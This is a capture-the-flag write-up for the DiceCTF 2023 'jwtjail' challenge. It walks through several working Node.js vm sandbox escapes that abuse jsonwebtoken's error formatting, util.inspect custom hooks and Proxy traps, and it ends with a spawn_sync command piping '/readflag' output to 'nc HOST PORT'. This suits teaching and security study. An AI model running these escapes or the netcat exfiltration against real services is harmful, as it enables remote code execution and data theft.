# jwtjail (Web) - 3 solves

> A simple tool to verify your JWTs!  
>  
> Oh, that CVE? Don't worry, we're running the latest version.  
>  
> author: Strellic

*Read the author's writeup [here](https://brycec.me/posts/dicectf_2023_challenges#jwtjail)!*

## Challenge  
The challenge exposes a website which verifies JWT (JSON web tokens) with the
[jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) NodeJS library. The
description references a recent invalidated CVE on this library, but the
provided package.lock requires the latest version anyway.

There is a HTML frontend to the challenge, but it is not important, so I will
only discuss the server code - which is fortunately pretty short:  
```js  
"use strict";

const jwt = require("jsonwebtoken");  
const express = require("express");  
const vm = require("vm");

const app = express();

const PORT = process.env.PORT || 12345;

app.use(express.urlencoded({ extended: false }));

const ctx = { codeGeneration: { strings: false, wasm: false }};  
const unserialize = (data) => new vm.Script(`"use strict";
(${data})`).runInContext(vm.createContext(Object.create(null), ctx), {
timeout: 250 });

process.mainModule = null; // ?

app.use(express.static("public"));

app.post("/api/verify", (req, res) => {  
let { token, secretOrPrivateKey } = req.body;  
try {  
token = unserialize(token);  
secretOrPrivateKey = unserialize(secretOrPrivateKey);  
res.json({  
success: true,  
data: jwt.verify(token, secretOrPrivateKey)  
});  
}  
catch {  
res.json({  
success: false,  
data: "Verification failed"  
});  
}  
});

app.listen(PORT, () => console.log(`web/jwtjail listening on port ${PORT}`));  
```

Internally, the service "unserializes" the input by running the input as a JS
script with the NodeJS `vm` module. This module is not intended to provide a
sandbox and there are many published escapes, but the setup disables code
generation from strings, making it trickier.  
```js  
const ctx = { codeGeneration: { strings: false, wasm: false }};  
const unserialize = (data) => new vm.Script(`"use strict";
(${data})`).runInContext(vm.createContext(Object.create(null), ctx), {
timeout: 250 });  
```

We can see the input is wrapped in a script that applies strict mode on the
input and is provided a context with a null prototype Object as `this`. In
addition, `process.mainModule`, which is normally used in escapes to get
command execution, is nulled out:  
```js  
process.mainModule = null; // ?  
```

Finally, our "unserialized" return value from the input is fed into
`jsonwebtoken.verify`:  
```js  
token = unserialize(token);  
secretOrPrivateKey = unserialize(secretOrPrivateKey);  
res.json({  
success: true,  
data: jwt.verify(token, secretOrPrivateKey)  
});  
```

The challenge is basically a NodeJS sandbox escape where code generation is
disabled and the VM has a null Object context. In addition, we need to work
around the `process.mainModule` restriction, but that turns out to be pretty
simple.

## Solution  
In general, if we try to use a standard vm escape on this setup, we will see
this error:  
```  
EvalError: Code generation from strings disallowed for this context  
```

Disabling code generation from strings in the `vm` module actually
[applies](https://github.com/nodejs/node/blob/main/src/node_contextify.cc#L272)
a
[flag](https://v8docs.nodesource.com/node-0.8/df/d69/classv8_1_1_context.html#ab67376a3a3c63a23aaa6fba85d120526)
to V8. Since the flag is implemented in V8, it is generally effective, but one
can get around the restriction by interacting with an object that comes from a
different context.

More specifically, we can use the `constructor.constructor` of any
**non-[primitive](https://developer.mozilla.org/en-US/docs/Glossary/Primitive)
object** that comes from outside the context. (The constructor of an Object is
a Function, and the constructor of a Function is, well, a [Function
constructor](https://developer.mozilla.org/en-
US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function).)

The difficulty comes from how to access an object from another context. In
addition, we cannot use the `arguments.caller.callee` trick to traverse the
call stack because of strict mode. On top of that, `arguments` is a special
object which seems to be properly in the context of the called function. (One
could easily trigger a function call with no arguments with a getter, or a
Proxy lookup. Sadly the arguments to a Proxy's get function are all primitives
or from the target context.)

To find an instance where we can get access to such an object, we will want to
dive into the code of `jsonwebtoken` to figure out what exactly happens to our
input. The verify function is defined [here](https://github.com/auth0/node-
jsonwebtoken/blob/master/verify.js#L21), and I will paste snippets as I go
through the code.

The first thing done to our input is that the JWT itself is verified to be a
string:  
```js  
if (typeof jwtString !== 'string') {  
return done(new JsonWebTokenError('jwt must be a string'));  
}  
```

This check instantly throws out the JWT argument as being useful, and we will
just want to provide a valid normal JWT string as this argument.

We see that if our key is a function it might be used as a callback, but this
is only if a callback is set, which it isn't:  
```js  
if(typeof secretOrPublicKey === 'function') {  
if(!callback) {  
return done(new JsonWebTokenError('verify must be called asynchronous if
secret or public key is provided as a callback'));  
}  
getSecret = secretOrPublicKey;  
}  
```

Because we can't provide a `KeyObject`, we fall to this code, which uses
NodeJS APIs to turn our input into a key:  
```js  
try {  
secretOrPublicKey = createPublicKey(secretOrPublicKey);  
} catch (_) {  
try {  
secretOrPublicKey = createSecretKey(typeof secretOrPublicKey === 'string' ?
Buffer.from(secretOrPublicKey) : secretOrPublicKey);  
} catch (_) {  
return done(new JsonWebTokenError('secretOrPublicKey is not valid key
material'))  
}  
}  
```

We go deeper into
[createPublicKey](https://github.com/nodejs/node/blob/main/lib/internal/crypto/keys.js#L612)
which goes into
[prepareAsymmetricKey](https://github.com/nodejs/node/blob/main/lib/internal/crypto/keys.js#L529).
One code path falls through to throwing an Error because the key isn't a
string, buffer, or `jwk` object:  
```js  
// Either PEM or DER using PKCS#1 or SPKI.  
if (!isStringOrBuffer(data)) {  
throw new ERR_INVALID_ARG_TYPE(  
'key.key',  
getKeyTypes(ctx !== kCreatePrivate),  
data);  
}  
```

And finally in the
[handler](https://github.com/nodejs/node/blob/main/lib/internal/errors.js#L1208)
for `ERR_INVALID_ARG_TYPE`, which calls
[determineSpecificType](https://github.com/nodejs/node/blob/main/lib/internal/errors.js#L877),
we find something interesting - code that either formats our input's
constructor's name into a string or runs the `inspect` code on our input:  
```js  
if (typeof value === 'object') {  
if (value.constructor?.name) {  
return `an instance of ${value.constructor.name}`;  
}  
return `${lazyInternalUtilInspect().inspect(value, { depth: -1 })}`;  
}  
```

Finally, we have some code that we can abuse to leak obejcts! All the solution
code below needs to be wrapped in a function call like so:  
```js  
function(){  
`  
}()  
````

### Abusing the name being formatted  
This is the intended solution. One may know that formatting a value in JS into
a template calls `Symbol.toPrimitive` if it exists. Providing a
`constructor.name` value that has a `Symbol.toPrimitive` key allows us to trap
a function call, and the third argument of the `apply` handler is an Array
that comes from outside the context!

```js  
let a = function() {};  
let handler = {  
apply(a, b, c) {  
let process = c.constructor.constructor('return process')();  
// See later section from how to leak flag  
}  
}  
a = new Proxy(a, handler);  
a = {constructor: {name: {[Symbol.toPrimitive]: a}}}  
return a;  
```

### Abusing `inspect`  
I used this solution. It turns out objects can [define their own special
behaviour](https://nodejs.org/api/util.html#custom-inspection-functions-on-
objects) when being `inspect`-ed by defining a Symbol attribute with value
`nodejs.util.inspect.custom`. This is called with the `inspect` function
itself as a parameter! We can use its constructor to escape.  
(If anyone is curious, the options parameter has a null prototype.)

```js  
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');  
let a = {  
[customInspectSymbol](a, b, c) {  
let process = c.constructor.constructor('return process')();  
// See later section from how to leak flag  
}  
}  
a.constructor = null; // we need to pass the constructor.name check  
a = {key: a};  
return a;  
```

### Easier ways to path through code and see lookups  
We can also use Proxy to find code paths and trace property access on our
object. We can modify the challenge code to provide access to logging.

```js  
const unserialize = (data) => new vm.Script(`"use strict";
(${data})`).runInContext(vm.createContext({console}, ctx), { timeout: 250 });  
```

Then we can set up a Proxy on our returned object that logs all the property
accesses recursively:  
```js  
let a = {};  
let handler = {  
get(o, k) {  
console.log("get", k);  
return o;  
}  
}  
a = new Proxy(a, handler);

return a;  
```

Running this leads us down to `getKeyObjectHandle`, which also throws an Error
that turns out to cause an inspect lookup, which could be exploited just like
above!  
```  
> node test.js  
get Symbol(kKeyType)  
get type  
get type  
TypeError [ERR_CRYPTO_INVALID_KEY_OBJECT_TYPE]: Invalid key object type {},
expected private.  
```

### Finally solving it with none of the above  
While creating this writeup, I realized there is a more generic approach that
can leak an object into our context that can be triggered with any property
lookup on our object. Remember earlier when I said we can't use a getter
because `arguments` itself is an special object? Although the arguments to a
getter are not useful, the getter is a function call itself, and we saw with
an above solution that by hijacking the argument to `apply` in a Proxy
handler, we can escape the sandbox! Because any property lookup can trigger a
Proxy get call or getter, and that function call can _itself_ be a Proxy with
an `apply` handler, we can escape the sandbox with any property lookup,
without even knowing anything about the internals.

```js  
let a = function() { return ""; };  
handler = {  
apply: function(a, b, c) {  
let process = c.constructor.constructor('return process')();  
// See later section from how to leak flag  
}  
}  
a = new Proxy(a, handler);  
let handler2 = {  
get: a  
}  
let b = {};  
b = new Proxy(b, handler2);  
return b;  
```

### Taking code execution to the flag  
Once we have code execution with global scope, we still have to get around the
`process.mainModule` being nulled. The `process.binding` function allows us to
load a native module, one of which is `spawn_sync`. This module just spawns a
child and is used by `child_process` internally.

With any of the previous techniques, we can get the flag out-of-band like so:  
```js  
let args = {"args":["sh", "-c", "/readflag | nc HOST PORT"],"file":"sh","stdio":[{"type":"pipe","readable":true,"writable":true}]};  
process.binding('spawn_sync').spawn(args);  
```

## Flag  
```  
dice{th3y_retr4cted_the_cve_:(}  
```

Self-plug:

The author mentioned this challenge is inspired by a challenge I wrote,
[metacalc](https://github.com/Seraphin-/ctf/blob/master/irisctf2023/metacalc.md).
That challenge is easier because an object without a null prototype is
directly leaked into the VM, though the intended solution for that one
involves using a getter and attacking the call chain.  

Original writeup
(https://irissec.xyz/articles/categories/web/2023-02-06/jwtjail).